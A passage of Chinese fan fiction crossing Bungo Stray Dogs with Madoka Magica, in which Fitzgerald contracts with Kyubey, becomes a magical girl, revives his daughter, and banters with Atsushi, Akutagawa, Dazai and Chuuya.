刚才在最后的紧要关头，他都从来没有想过要用掉这枚戒指，然而现在它却自动被消耗了。 “泽尔达……” 他用虚弱的声音喃喃道。 用戒指转化而来的财富强化了他的身体，相当于救了他一命，让他得以从这么高的地方坠海也能活下去。 可是，活下去又有什么用呢。 金钱、地位、组织，甚至是那枚结婚戒指……他都已经没有了，怎么能够复活他们的女儿，再次给泽尔达幸福呢…… 菲茨杰拉德疲惫地合上了眼，任由身体在海面上起起伏伏。 ‘你已经打算放弃了吗？’ 有陌生的声音响起，近到仿佛就在心里和自己说话一样。 所以尽管声线听起来甜美温和，他也立刻意识到这个和自己说话的家伙并不简单。 只可惜，菲茨杰拉德此刻并没有心情搭理对方。 现在失去了一切的他和死人没什么区别，只希望什么都不用去想，沉浸在自己的世界里。 看着面前的金发男人闭着眼睛，一动不动，就像是已经陷入昏睡，完全听不见它说了什么似的。 丘比无奈，知道对方意识其实还算清醒。 它只能再次出声道：‘还没有到穷途末路的时候，请振作一些，能听我先说几句吗？’ “我现在这个样子，还能有什么翻盘的机会吗。”菲茨杰拉德觉得可笑，此刻却连和对方争执的念头都累得升不起来。 他连眼睛都懒得睁开，说完这一句，就打定主意要装死了。 但丘比不准备放过对方。 它现在身体也和对方一样漂浮在海里，虽然自己不会被淹死，但是一直在海上这么漂着也实在不太舒服。 ‘并不需要多么麻烦。只要你同意与我签订契约，我就可以实现你的任何一个愿望。’ 丘比顿了一下，提高了声音道：‘比如，让你的女儿死而复生。’ 菲茨杰拉德闻言睁开了眼睛，向身旁看去。 看到了一个从未见过的奇怪白色生物漂在海水里，此刻正在用红色的眼睛望着自己，脸上带着微笑。 因为菲茨杰拉德这一猛然侧头的动作，有些打破了平衡，使得咸腥的海水有些灌进了他的耳鼻里。 但他并不在意，在这样的情况下咳嗽了几声，也很快开口道：“看来你提前调查清楚了我的事情。那你也应该知道，拿这种事来欺骗我的人都是些什么下场吧？” 丘比却问道：‘你愿意相信‘书’的效用，就不愿意试着相信一次我吗？’ 菲茨杰拉德没那么好忽悠，‘书’的存在也是他花了很长时间才证实的，而眼前这个家伙他还是第一次见。 “我凭什么相信你？” ‘你既然已经觉得自己一无所有了，那么再赌一次又有什么所谓。若是赢了一切就皆大欢喜，若是输了对你而言也不算什么吧。’ 菲茨杰拉德默然，自己确实已经到最糟糕的地步了，再怎么样也不会比现在更差了。 他有点动摇了，问：“你说的是什么契约？” 丘比微妙地停顿了一秒，才说道：‘你知道最近很有名气的魔法少女吗？’ 菲茨杰拉德：“？” ‘签订契约后，我就能实现你的任何一个愿望，不过你从此会成为魔法少女，担负起与魔女战斗的使命。’ 太荒谬了…… 就算菲茨杰拉德已经做好了心理准备，打算豁出去试一试，就连对方要他的性命他大概也会同意。 但是，没想到对方虽然没有提出过分的要求，但说的也太像是异想天开的假话了。 他看着像是会相信这种话的笨蛋吗？ 菲茨杰拉德张了张口，但是无力感先涌上心头。 “算了，随便你吧，我答应。” 丘比道：‘那就将你的愿望告诉我吧，请好好思考后，说得详细一些。’ 菲茨杰拉德：“……你都调查过了，刚才不是很清楚我的愿望吗？” ‘我需要你再自己亲口告诉我一遍，一定要谨慎决定。’丘比的语气非常认真。 尽管菲茨杰拉德并不信任丘比，也不由得在对方这样的态度之下，放弃纠缠地选择了顺从，反正他这样做也不会有任何损失。 “我……”他开口道：“我想要我的女儿斯科蒂活过来，让我的妻子得到幸福，使我破裂的家庭重新变得完整。” 不抱希望的话说了出去，然而下一刻，却有了意料之外的回响。 金色的光芒自菲茨杰拉德身体里绽开，瞬间将他整个包裹其中，并飞速地蔓延开来。 随着光芒的扩散，这周边的一大片海面都被染成了灿烂耀眼的金色，宁静的蔚蓝被金色的涟漪取代，波光粼粼。 菲茨杰拉德感觉自己的身体发生了变化。 个子明显缩小了，身材变得纤细。 金发也快速变长了，头发精致地盘在脑后，侧后方留着一束长发，用华丽的白金色发带系着。 西装变为了重工打造的洛丽塔中短裙，胸前有着璀璨的金色宝石胸针，脚下则踩着一双米色长筒靴。 他真的变成魔法少女了？！！ 菲茨杰拉德恍惚，这白色生物刚才说的话竟然应验了。 他忽然一愣。 既然成年男性变成魔法少女这么离谱的事都是真的，那这么说，他的女儿是不是也活过来了…… 希望的火苗在心里燃了起来，无可阻挡地占据了心中每一个角落，他的心脏也随之快速地跳动着。 然后突然间，“扑通——” 菲茨杰拉德从浮空状态落入了海里，水花四溅。 心中的火焰骤然灭了大半。 就连他变身后的新衣服也再一次地湿透了。 菲茨杰拉德措不及防，被迫呛了好几口海水，才勉强维持住身形：“咳咳咳咳咳……” 刚才签订契约变身的时候，他的身体原本是短暂浮空的。可是由于情绪过于激动，他都忘了这点。 不过，冰冷刺骨的海水也让他一下子冷静了下来。 菲茨杰拉德一边咳着，一边想。 现在还是先上岸吧…… 第56章 不幸的是，菲茨杰拉德所在的位置离岸边有着好长一段距离。 而他如今性转成她，身上穿的重工洛丽塔泡在海里，吸饱了水，变得十分沉重，很难就这样游到岸边去。 “……变成少女的模样就先不提了，但是我一定得穿这么麻烦的裙子吗？” 菲茨杰拉德实在忍不住抱怨道。 她一直在往岸边游着，但是费了很大力气，感觉也才游了一小段距离。 丘比难以回答。 它转移话题，问道：‘你要不先尝试一下自己获得的新能力？说不定可以让你轻松地到达岸上？’ “新能力？” 菲茨杰拉德仔细想了想，然后试探性地触碰了下海面，发动了自己的能力。 与她触碰到的海面开始发生变化，无形的水逐渐变得有了实体，并发出淡淡的金色光泽。 菲茨杰拉德用手撑着，有些艰难地爬到了海面上，再在上面站了起来。 脚下仿佛踩着的不再是水，而是什么柔软的大型浅金色果冻。 她慢慢地往前走，边走边使用能力。于是她所经过的地方，仿佛形成了一条长长的金色桥梁，使其能够顺利通往岸边。 不过，就算是不用艰难地游过去，菲茨杰拉德也耗费了许多时间。 她并不怎么熟练这个能力，而且原本的位置离岸边很远，所以走了好久才终于上了岸。 菲茨杰拉德松了口气，感觉使用能力有点过了。 她疲惫地坐在了岸边地上，准备先好好歇息一下，再想之后的事情。 但是，附近不远处突然传来一些脚步声。 声音很快便离她越来越近，而且很明显，这不只是一个人的脚步声。 菲茨杰拉德抬头望去，发现了更糟糕的事情，来的这两个人她认识——正是刚才跟自己战斗过的中岛敦和芥川龙之介。 真是屋漏偏逢连夜雨，自己财产和体力在之前就都已经消耗一空，现在这个状态可没办法再和他们打了。 别说取胜，她连逃跑都没有任何把握。 菲茨杰拉德警惕地看着他们，一副小心戒备的模样，准备等会儿抓住机会，试试能不能先挟持一个人。 而中岛敦看着如今的菲茨杰拉德，则生不起半分要与其战斗的心思。 面前的少女坐在地上，身上繁奢的洛丽塔裙子湿淋淋的，金色发丝上还有水珠在不断往下滴。 她蓝色的双眼防备地盯着他们，放在两侧衣摆处的双手悄悄虚握成拳。 这虚弱又狼狈、却强撑着似乎是打算和他们抗争的样子，看起来真是非常容易令人心软。 中岛敦立即放缓了声音，安抚道：“这位小姐，你别担心，我们不会对你做什么不好的事情。请问你需要帮助吗？” 菲茨杰拉德怔了一下。 这两个家伙没有认出自己来。 意识到这点后，松了口气的同时，菲茨杰拉德也不禁想到，自己变成少女后到底有了多大的变化，居然连刚见过的人也没能认出自己来。 可惜，她此刻没有镜子来好好看看自己现在的面容。 看着金发少女似乎在想到了什么，一副恍惚的样子，中岛敦不放心地问：“你还好吗？” 而旁边的芥川没那么好说话。 即使面对着这样的少女，他也不为所动，淡淡地对中岛敦道：“这么轻易就对敌人放松警惕，小心之后你连怎么死的都不知道。” 中岛敦没有搭理芥川。 尽管中岛敦知道这个少女肯定不普通——毕竟她身后海面上的那一条金色‘桥梁’还摆在那里呢。 但是，他却不觉得这是他们的敌人。他看着对方就想起了刚见面时的泉镜花，同样的可怜和故作冷漠。 况且他对金发少女的身份也有了些猜测。 中岛敦继续对看起来很是柔弱的金发少女关切道：“别在意那个家伙说的话，放心，我对你没有任何恶意。” 体会到对方的关心，菲茨杰拉德心里难得产生了一些愧疚之情。 之前为了得到书页，复活自己的女儿，菲茨杰拉德花重金悬赏过中岛敦、亲自绑走过中岛敦，还因为打算毁掉横滨的计划跟中岛敦拼命战斗过…… 越想越觉得心虚了。 不过，菲茨杰拉德好歹是摸爬滚打多年、白手起家的男人，就算难得觉得愧疚，也还是会继续利用对方的善良。 模仿着记忆里女儿和妻子的样子，金发少女抿着嘴，露出了浅浅的笑容，像是感激地对中岛敦说：“谢谢你。” 芥川看不下去了，抢先对金发少女道：“说，你到底是谁？” 菲茨杰拉德脑子飞速转动，随便想了个假名，脸不红心不跳地说：“我叫艾尔菲。” 芥川皱眉，语气冷硬：“在下问的是你的身份。你为什么出现在这里？弄出这么大的动静是想做什么？” 菲茨杰拉德瞥了眼仍保留在海面上的那条金色‘桥梁’，这真有些不太好解释。 “我……我只是来到海边的时候，不小心被海浪卷了进去。为了回到岸上，才这么做的。” 芥川没说信也没说不信，只是接着追问道：“你不是普通的异能者吧？” 菲茨杰拉德不好回答。 但觉得自己要是否认的话，对方也不会相信。 而且……芥川身上黑色大衣的衣摆隐隐浮现出黑兽的身影，那是对方的异能，看起来他像是快忍不住要对自己发动攻击了。 菲茨杰拉德眸光微闪。 这时候，中岛敦往前一步，挡在这两人之间，语气温和地对金发少女道：“我猜到了，艾尔菲小姐，你应该是魔法少女吧？” 菲茨杰拉德微顿了下，随即点了点头。 中岛敦立即又对芥川道：“所以说，她肯定不是敌人啊。你别总是动不动就喊打喊杀的。” “魔法少女？人虎，没想到你也相信那种存在。” 芥川语气莫名。 中岛敦争辩道：“乱步先生说了，魔法少女是真实存在的！” 当时武装侦探社里的大家聊起魔法少女的事情时，也大多保持怀疑的态度，猜测那些可能只是什么异能者或咒术师的做戏。 但是乱步先生认可了魔法少女的存在。 所以，大家也就立刻转而相信了这件事的真实性。 就是有一点很奇怪……那天在大家都在聊这件事的时候，太宰先生一声不吭，就算主动去问他，他也不会说对此的任何看法。 说起来，那时太宰先生和乱步先生之间的氛围也挺不对劲的。 乱步先生好像对太宰先生突然产生了非常浓厚的好奇心，总是盯着对方看，想和对方搭话。而后者却一直躲躲闪闪，找借口逃避。 不过，太宰先生不否认魔法少女的存在，这应该也算是一种默认吧？ 于是犹豫过后，中岛敦对芥川补充了一句道：“太宰先生也默认魔法少女是存在的。” 如他所料，芥川听到这句话后迟疑了一下，不过还是说道：“就算是这样，也不能保证她们不是敌人。” 中岛敦也无言片刻，问道：“你没有去了解吗？她们不是一直都在帮助其他人吗？什么都不了解的话，就别乱说啊。” 芥川板着脸：“在下没必要去关注弱小的家伙。” “哪里弱小了，目前那三个魔法少女看起来都很厉害吧，比如津岛小姐……” 中岛敦的话被突然打断。 “区区魔法少女，哪里比得上太宰先生，她就算和太宰先生一样缠满绷带，也绝对没办法和太宰先生比较！” 不知道是什么原因，芥川的反应很强烈。 中岛敦感到一言难尽：“……原来你真的有去了解过她们啊。” 否则，芥川也不会知道津岛的形象特征。 而芥川则回忆起那天意外听见下属的交谈，他们在聊魔法少女，刚好谈起了津岛这个人，还顺便聊到了同样总缠着绷带的太宰先生…… 他当时就训斥了那些下属。 后来，他不由得去搜索了一下关于津岛的信息…… 那家伙看起来确实有点东西，似乎还有那么一点说不上来的熟悉感，令他莫名产生起微妙的好感来。 芥川努力回想着太宰治的形象，想要证明太宰比这种突然冒出来的魔法少女要强得多，可偏偏在回忆的时候意外将二者形象短暂重叠…… 不行，太宰先生是不可替代的！ 他这样告诉着自己，于是从此开始下定决心暗示自己厌恶津岛。 中岛敦不明白：“为什么要把他们放在一起比较呢？太宰先生是很好，但津岛同样也很好啊。” 芥川冷哼了一声：“我就知道，人虎你根本不配做太宰先生的后辈。” 中岛敦也生气了：“这什么跟什么啊，我真搞不懂你到底在想什么……” 两人又开始吵得一发不可收拾起来，就像两个幼稚的小学生。 一旁的菲茨杰拉德：“……” 看着这两人争吵不休的样子，金发少女的演技都快要维持不住了。 菲茨杰拉德不由得反思自己，自己到底是有多失败，才会被这两个幼稚的家伙打败。 不过好在，这两人吵起来后没什么心思来搭理她。 她立刻提出了告别。 趁他们还沉浸在争吵中、没空理自己时，她没等他们反应过来，就快速地压低自己的存在感然后溜走了。 在远离了海岸边的一处巷子角落里，菲茨杰拉德解除了变身，恢复为成年男性的模样，暂时松了口气。 现在总算是安全下来了。 他望向还跟在他身边的丘比。 心里从刚才起就一直压抑着没有问出的那个问题，在此刻终究还是忍不住说了出来。 “我……我的愿望真的实现了吗？” 第57章 从问题问出来，到对方做出回答，这一过程只不过是短短的几秒钟。 然而，这几秒的等待却漫长得像是一辈子般。 菲茨杰拉德既渴望得到答复，又不敢面对不好的可能性，希望燃起后再破灭更会令人难以接受。 幸好，丘比没有给他泼冷水，只是说道：‘已经实现了，就是我也不太清楚愿望的实现形式，你可以自己去调查一下。’ 菲茨杰拉德迟疑地重复道：“愿望的实现形式？” 丘比点了点头。 菲茨杰拉德一时间想不到该怎么去调查，他现在身无分文，没有可以依靠的同伴或下属能为他不求回报地做什么，他自己也难以跨国调查什么。 但是现在，他急切地想要确定自己的愿望是否实现了。 思考了会儿，菲茨杰拉德拿起了自己的手机。 幸好之前还富有的时候，手机买的是很贵的款式，防水又坚固，所以刚才跟着他一起落水也没有损坏。 菲茨杰拉德在通讯录里，找到了自己女儿的手机号码。 在女儿去世后，这个手机号码就再也打不通了，但他没有让它停机，还一直交着费用。 “嘟嘟——” 菲茨杰拉德拨通了这个电话。 此时此刻，他只能想到用这个方法去证实愿望的实现。 电话在响铃，离它提示无人接听还有一小段时间。 菲茨杰拉德只能在心里祈求着。 接电话，快接电话吧……拜托了，接电话吧，斯科蒂，接电话吧…… “喂。” 电话接通了，熟悉又陌生的声音响起：“爸爸？找我有事吗？” 这是斯科蒂的声音，只不过比他印象里的要成熟一些，应该是长大了许多的缘故。 不管怎么样，这确实是她，她还好好的活着，愿望真的实现了！ 一时间，各种情绪涌上心头，几乎要将菲茨杰拉德淹没。 他听着女儿的声音，脑海中过去的画面却不由自主地一幕幕闪过。 女儿意外死亡的讯息传来，他看到女儿冰冷僵硬的尸体，妻子受不了打击精神出现问题，他欺骗妻子说女儿在外留学，自己一人想尽方法去复活女儿挽救家庭…… “怎么不说话？”女儿在电话那头疑惑地问道。 菲茨杰拉德努力按捺下那些复杂的心情，想要装出若无其事的样子。 很明显，女儿这样的态度意味着她根本不记得自己的死亡。所以现实有可能已经改变了，曾经的那些悲剧没有必要再说出来。 但是，菲茨杰拉德一出声就发现自己的声音沙哑得可怕：“斯科蒂……” 半天，他没能继续说下去。 斯科蒂没有等待到下文，仔细听着父亲那边的细微声响，小心翼翼地问： “……爸爸，你在哭吗？” 成年人勉力维持的情绪骤然被打开了阀门。 明明一个人已经咬牙努力了很久，经历过多少个孤单又痛苦的日子，拼上全部来到异国他乡……他都坚持了下来。 但如今听着女儿关心的话语，越是想要继续忍住，就越是控制不住。 “我、我……没有。” 这种话不能使斯科蒂信服，他声音里的哭腔已经明显到难以掩盖。 幸好，现在他的身边没有其他人，唯一的生物此刻也侧过身去。 不知道是丘比对此漠不关心，还是礼貌地知道他不想被别人看见自己狼狈的模样。 菲茨杰拉德微微低下头，一只手拿着手机，他只能用另一只手遮住了脸，沉默许久。 这些年来无数辛酸难熬的经历，他都省略了过去。万千的思绪、深刻的情感最终全部只是化作一句简单的话语： “……我只是太想念你了，斯科蒂。” 斯科蒂愣了一下。 她没想到情绪异常失控的父亲会突然说出这么一句话来。 她担心地问道：“哎？爸爸，你是不是出了什么事？” “没有，什么事情也没有，我一直都很好。”菲茨杰拉德低声说道。 斯科蒂觉得不太对劲。 但面对父亲这样的话，她却也不好追问下去。 想了想，她轻声道：“我在海外留学的这些日子，也很想念你和妈妈。” 菲茨杰拉德抿紧唇线。 斯科蒂继续道：“我在这边的课业就快要结束了，我准备过段时间就回来。本来还想给你们一个惊喜呢，现在还是提前告诉你吧……爸爸，你还不开心吗？” 菲茨杰拉德慢慢平复心情，认真地回答：“怎么会呢，我非常开心。” “那就好，不管遇到什么事情，都要可以告诉我和妈妈噢。” 斯科蒂安慰道：“我们永远都在。” 菲茨杰拉德垂下眼眸，无法控制地想起了曾经……女儿的意外死亡，以及因此精神出了问题的妻子。 她们并不能永远陪在他的身边。 但是，这也不是她们的错，只是意外总是这么难以避免。 菲茨杰拉德无声地咽下了什么，然后微不可察地叹了口气：“……我会的。” 斯科蒂没能听到父亲心情沉重又复杂的叹息。 只是听父亲还是不打算告诉自己，她也无可奈何，知道对方是下定决心不准备说了。 斯科蒂顿了顿，换了个方式安慰父亲，使自己的语气微微轻快起来。 “等到我回来之后，我们一家人就可以又生活在一起了。平常呢，我们就可以坐在一起吃饭。你休假的时候呢，我们就出去游玩。我还新学了好多种甜点想要分享给你呢……” 这个方法很管用。 听着女儿对未来的描述，菲茨杰拉德心里不知不觉软化了许多。 刚才升起的属于过去的阴影，又在女儿轻快的声音里渐渐淡去，被染上温暖的光芒。 “好，等你回来。” “对了对了，到时候我回来的话，爸爸你可要记得来机场接我哦。我好久没有回来了，都有些不熟悉那边的路了。” “没问题，当然可以。” “我记得你之前工作总是挺忙的，所以总是失约。其实还是健康最重要，你太过劳碌的话，我和妈妈都会担心的。” “我知道了，放心，不管是工作还是别的什么，全部都没有你们重要。” 斯科蒂稍微有些讶异。 “爸爸，你怎么这么会说甜言蜜语啦。看来没有我，你和妈妈的二人世界过得也挺不错的嘛。” “……不是的。” 在斯科蒂死后，泽尔达根本无法接受这一现实，在这种打击之下直接精神出现问题，整日以泪洗面喃喃着斯科蒂的名字。 无论菲茨杰拉德怎么宽慰妻子，想办法请来最好的心理医生，也都起不到半点作用。 只能哄泽尔达说，女儿还活着，只是出国留学了，总有一天肯定还是会回来的。 菲茨杰拉德压抑着自己的情绪，不想让女儿再担心。 现在的他太过敏感了。 就像是沙漠里走了许久的人，在即将死亡的时候，突然峰回路转迎来了青山绿水。 怎么能够轻易安下心来，不害怕这可能只是海市蜃楼？ 菲茨杰拉德尽可能用平静的语气说：“没有你是不行的。我们三个人都在，才能够是一个完整的家。” “我知道啦。” 斯科蒂想了下，说道：“那个……你接我的时候，就算迟到也没有关系，我会一直等着你的。所以如果很忙的话，也不用太着急，慢一点也可以。” 菲茨杰拉德想到，女儿对自己的印象大概还停留在许多年前。 那时候他还处于事业上升期，还没有，所以总是很忙碌，不太有时间能抽出空来。 不过，他也没有解释自己变了很多，已经不再像当初那样。他早就明白其他任何事物都比不上他的家人。 菲茨杰拉德向女儿郑重地保证道：“我会接你回家的。” 就像是现在这样。 即使不远千里，来到异国他乡，不择手段地计划毁灭横滨，付出自己的一切……也会一定将你接回家的。 …… 和女儿聊了许久后才挂了电话，菲茨杰拉德整理情绪，看向丘比。 他问道：“你之前说，签订契约之后，我就会背负与魔女战斗的使命？除此之外，还有其他的条件吗？” ‘没有，你只需要时常去处理一下魔女。’丘比说：‘我不会强制要求你去做什么的。’ “魔女啊。” 菲茨杰拉德前段时间听说过这个存在，但也只是听说而已，他对此还几乎什么都不了解。 “我是最近才第一次听说魔女的，它们是才出现在这个世界上的吧？” 这个情况很难掩盖，丘比倒也没想瞒过多少人，但是这还是首次有人主动把这个问题抛给它来回答。 ‘确实如此。’ 菲茨杰拉德接着问：“现在还没有听说，在其他国家里有魔女和魔法少女的存在。所以，我要想与魔女战斗的话，暂时就只能待在这个国家吗？” 丘比询问了下系统，然后回答他：‘是的。’ “那如果我不愿意留在这里，不愿意与魔女战斗呢？” ‘……那你将拿不到打败魔女后会得到的奖励——悲叹之种，它是可以净化你灵魂宝石的重要物品。’ 菲茨杰拉德微微低头，看着自己手上握着的金色宝石，看起来非常清澈。 丘比解释：‘你平常使用魔法、变身，都会让宝石慢慢变得污浊，到后来可能就再也无法使用魔法了。’ 菲茨杰拉德听着这解释，发觉自己还真是完全不了解丘比口中的这种魔法少女。 他似乎从来没有这么胡闹过，在一无所知的情况下，就这么糊里糊涂地签下了奇怪的契约。 不过，回忆着与女儿方才鲜活灵动的对话…… 菲茨杰拉德想，无论如何，他总归是不会后悔做出这一抉择的。 第58章 “真可惜，期望中的未来看来只能推迟了啊。” 菲茨杰拉德想着女儿刚才描述的场景，无奈地勾勒出一抹苦笑。 丘比看出了对方的想法，问道：‘你不打算将妻女带到这个国家暂居吗？’ “那样太危险了，我要去做这些事怎么能带着她们。我可没办法再承受一次失去她们的可能性了。” 菲茨杰拉德说得很坚定。 丘比也不好说什么。 只是在心里想，太宰治的书页或许可以起到作用帮菲茨杰拉德很大的忙，让他方便在遥远的两地之间快速来往。 不过，这也不是那么简单的事。得让他们两个对彼此信任才行，要做到这一点可谓是非常令人头疼了。 只能先想办法让他们从见面开始了。 但是，丘比也没有立刻忙着把所有魔法少女都约一遍，它还是暂且在菲茨杰拉德身边待了几天。 毕竟这次的契约对象和以往不同。签约的时候，对方财富和地位全没了，随便来个普通人应该都有机会杀死对方。 丘比就不太放心，准备在他身边多待几天，顺便给他帮帮忙。 可是，当它帮忙试验出了菲茨杰拉德变身后获得的新能力后，就几乎没有不放心的念头了。 对方的能力是，改变物品的物质材料。 只能在周身很小的范围之内，而且改变的速度和频率会比较慢。 虽然局限很大，但这个能力确实很厉害，而且非常适合菲茨杰拉德。 当时，他在海面上创作的那条金色‘桥梁’，就是借用这个能力才做到的。他把作为液体的海水变成了固体的其他物质，能够支撑起自己走在上面回到岸上。 所以，他也同样可以做到改变石头的物质，将它变成其他东西，比如金子。 ——简称，点石成金。 “就是这效率有点太低了。” 金发少女随意把玩着自己手上刚刚由其他金属转变成的金块，语气淡淡。 “如果只是把它变成液态或气态会简单许多，但要把它完全变成金子，所花费的时间和精力就要多上很多了。” 丘比看着她，劝道：‘还是少用些魔法吧，你这些天使用的频率太高了，灵魂宝石黑得也太快了。’ 菲茨杰拉德将金块收回去。 “我知道了，目前这些资金差不多也算够了。” 虽然他还不熟练魔法少女的能力，但是恰巧他的异能就是用财富来强化自身，所以那些金子发挥了很大的作用。 这段时间，菲茨杰拉德便利用这些资金，再加上自己之前拥有的情报，处理了一下组合的内乱。 尽可能地保下了一些组合的遗产，也留下了几个组合的成员，收获颇丰。 尽管他还没有暴露自己魔法少女的身份，但是不可避免地让自己的两个身份之间产生了密切的联系。 有不少人都知道了，新的魔法少女目前在帮助组合的首领菲茨杰拉德。 所以，意料之中的麻烦很快就找上门来了。 “嗨，你好啊，今天天气不错嘛。” 少女的声音从右侧方的树上突兀响起，似乎只是普通地打招呼道：“你也是出来散心的吗？” 菲茨杰拉德抬头望去，刚才没有任何异常动静的高大树木上，不知什么时候坐了一个黑发鸢眼的少女。 对方坐在树上浅笑着看向自己，轻轻晃着双腿，披风和衣裙在空中随风飘摇，一副惬意的样子。 菲茨杰拉德皱眉。 “津岛？我在网站上见过你，不用拿散心当托词了，直接说你找我有什么事吧。” “我就是来散心的啊。” 太宰治瞥了眼金发少女身边的丘比，幽幽地道：“我的朋友说有些事情要处理，结果我却发现它在陪别人玩。我可伤心了，才特意出来散散心的。” 丘比：‘……其实我也没有在玩。’ 菲茨杰拉德以退为进，说道：“你要是只是来散心的话，我就先离开了，没空在这里陪你闲聊。” “这么冷漠吗？好歹同为魔法少女，见个面就要走，连名字也不准备留下吗？” “你找我就是为了问个名字？” “唔，差不多吧。丘比已经邀请你过段时间和其他魔法少女都见个面吧？你答应了吗？” “当然，没有理由不去吧。这是将你们都联合起来，形成对抗魔女的阵营的重要机会。” 太宰治闻言，不觉挑了下眉：“你这种语气……看来是想成为所有魔法少女的领头人吗？这么有信心呀。” “我不可以吗？” 这么久以来居于高位，菲茨杰拉德自然还想继续争取一个领头人的位置。 而且，看了网上关于其他魔法少女的视频和信息，他也多了几分信心。 津岛和禅院穗看起来都像是不太成熟的少女，压制起来大概都不太难，估计像他这样本体是成年人的魔法少女还是在少数。 “我还是更支持朔夜前辈一些，不太想看到后辈后来居上呢。” “朔夜？是那个白发的魔法少女吗？” “没错哦。” 不清楚朔夜具体实力，菲茨杰拉德倒是有些感兴趣地道：“那下次跟她见面，我就要好好看看她到底比我强在哪里了。” 菲茨杰拉德其实没有多担心朔夜的能力。 从之前的直播录像里，能够看到朔夜使用的武器是箭矢，那大概对方还是更擅长远程攻击。 而自己则更擅长近战，提前做好准备、找准机会拉近距离后，应该自己是会很克制对方的。 太宰治笑起来：“那我就要好好期待了。” 菲茨杰拉德问：“我不会做没有利益的事情。如果我能胜过那家伙的话，你会选择转而支持我吗？” “当然没问题啦，我肯定是支持强者的。”太宰治甚至还补充了一句：“禅院应该也是跟我想的一样呢。” 丘比：‘……’ 拜托不要随便给朔夜拉仇恨值啊，就欺负她人缘不太好吗？ ……好吧，朔夜的人缘应该确实不是一般的差。 不过，看着太宰治和菲茨杰拉德的交流因此而变得融洽起来，丘比也感到了些欣慰。 算了，这样也很好。 “所以，你到底叫什么名字呢？” “艾尔菲。” “不错的名字。”太宰治随口一夸，便准备提出告别：“那下次见面……” 她停顿了一下，没有说完。 坐在树上的黑发少女有所察觉地望向不远处，脸上神情瞬间变得糟糕起来： “啊，有烦人的家伙过来了。” 菲茨杰拉德回头看去。 果然，一个赭发蓝眼的青年走了过来。对方穿得一身黑……风衣、手套、礼帽，搭配上Choker，形象很有特色。 正巧，菲茨杰拉德也认识他，这是港口黑手党的重力使中原中也。 第59章 中原中也来到这里的目的，菲茨杰拉德倒是也能猜测到。 无非是其背后的港口黑手党对魔法少女产生了好奇，抱着试探或利用的想法，派这个重力使来接触一下自己。 前些天，艾尔菲刚在芥川面前露了个面，黑手党能这么快找过来也很正常。 中原中也看了一眼她，又看了一眼津岛，开口道：“你们好，艾尔菲小姐，津岛小姐……” 他似乎是想要先跟她们打个招呼，闲聊几句。但是卡壳了一会儿，还是放弃了，选择了开门见山。 “我们港口黑手党的首领想邀请你们来做客，不知你们是否愿意？” 菲茨杰拉德还在心底评估着与其接触的好处和坏处。 一旁坐在树上的太宰治便站起了身，下一秒，忽然瞬移到金发少女身边。 黑发鸢眼的少女显得跟她关系很好似的，轻轻拍了拍她的肩膀，替她回答道： “当然不愿意了，谁想去那种黑漆漆的鬼地方。” “哈？” 这一句话就直接得罪了中原中也。 太宰治却再接再厉道：“而且你们首领一点诚意都没有，想邀请我们，怎么就派这么一个……” 她本来想顺口嘲讽对方一句小矮子之类的话，却想起来自己如今的身高也一言难尽，甚至还没有对方的一米六高。 太宰治感到郁闷，继续说：“……衣品差劲的家伙。” 中原中也气笑了。 “你衣品就很好吗？！” 中原中也同样蛮看不惯对方的这一身打扮。 黑色披风和复古枯叶色裙子是在装酷吧？ 最差劲的就是那些绷带了，非常没有品味，还容易让他想起另一个惹人厌的家伙。 缠着一身绷带的家伙都是这种麻烦的性格吗？！ 太宰治就凭借这么两句话，就把话题越扯越远，空气中的火药味也从无到有了。 菲茨杰拉德：“……” 这两人争吵的画面怎么有点莫名熟悉，似乎自己不久前才刚见过类似的场景一般。 菲茨杰拉德不想再次成为空气，主动开口问道：“所以，你们首领找我是有什么事要商谈吗？” 中原中也勉强压下火气，转回原本的话题：“只是友好地交流一下。听说你在帮助组合重振旗鼓，我们也可以帮上一些忙。” 显然，港口黑手党是想跟艾尔菲建立点合作的关系。主动示好，来从她这里探究些关于魔法少女的情报。 毕竟未知的存在才是最恐怖的。 但是将情报说出去，对菲茨杰拉德并没有什么好处。 太宰治继续跟对方抬杠：“没什么好交流的吧。” 菲茨杰拉德犹豫了一下，也点了点头，关于丘比和愿望的这些事绝对不能透露出去半分。 “艾尔菲，你要小心。” 太宰治一本正经道：“听说那位姓森的首领不是好人，喜欢金发蓝眸的幼女，已经有一位叫爱丽丝的受害者小女孩了。艾尔菲，你很危险啊。” 菲茨杰拉德之前倒也听说过这种事，此刻突然想起了自己同样金发蓝眸的女儿，面无表情地继续点头。 那位森首领的癖好真是令人厌恶啊。 他一想到有像自家女儿一样的女孩子曾被那位首领所迫害过，就难以避免地对其升起十足的反感。 中原中也则皱起了眉。 他清楚地知道，爱丽丝只不过是自家首领的人形异能体。 但这种情报又不好随便告诉其他外人。 中原中也只能硬着头皮，为自家首领强行解释道：“首领他对于十二岁以上的女孩不感兴趣，所以不会对你……” 他说不下去了。 因为面前的津岛和艾尔菲都用指责嫌弃的目光看了过来。 中原中也：“……” 越描越黑了，怎么搞得他里外不是人。 津岛看向艾尔菲，语气诚恳：“所以我就说，港口黑手党超级讨厌的。像我们这种柔弱的女孩子，很容易被他们迫害的。” 艾尔菲虽然赞同，但是也不由得默默离津岛远了一步。 “我知道了。” 作为脸皮厚的成年人，菲茨杰拉德想，自己果然还是比不上真正的少女。 不知道为什么，光是看着对方活泼可爱真挚的样子，他就浑身感觉不自在，完全没办法配合对方。 而中原中也可完全不觉得津岛活泼可爱真挚了。 在他看来，这位叫津岛的魔法少女总是给自己使绊子。 真是莫名其妙，简直跟他那个混蛋前搭档一样麻烦…… 太宰治看到中原中也越来越黑的表情，觉察不妙。 以少女的身份逗中也玩，看着对方要艰难维持体面，再怎么也不能对女孩子随意发脾气动手…… 这种事实在太有趣了。 自己没忍住玩得有些过了，但要是被中也发现自己的真实身份就糟糕了。 于是，太宰治及时挽救道： “其实，这位先生。你应该也能想到，之前从来没有人听过魔法少女的存在，这证明我们成为魔法少女是有契机的。” 菲茨杰拉德随即望向太宰治，眼神里带着警告，不希望她说出这些事。 中原中也顿了一下，没想到这个讨人厌的魔法少女会突然主动给他下台阶。 他接过太宰治的话，问道：“所以呢？” “我知道怎样的人才能成为魔法少女。因为不想多出几个竞争对手，所以不想随便说出去。” 太宰治无视金发少女的眼神，冲着中原中也微微一笑。 “不过，如果你们港口黑手党足够有诚意的话，我也不是不能告诉你们。” 中原中也不抱希望地道：“怎么才能算是有诚意？” 黑发少女没有说什么天方夜谭的话，而是提出了个奇怪的要求。 “你让你们首领亲自过来问，独自一人不带任何保镖地过来找我，可以问任何他想问的问题。” 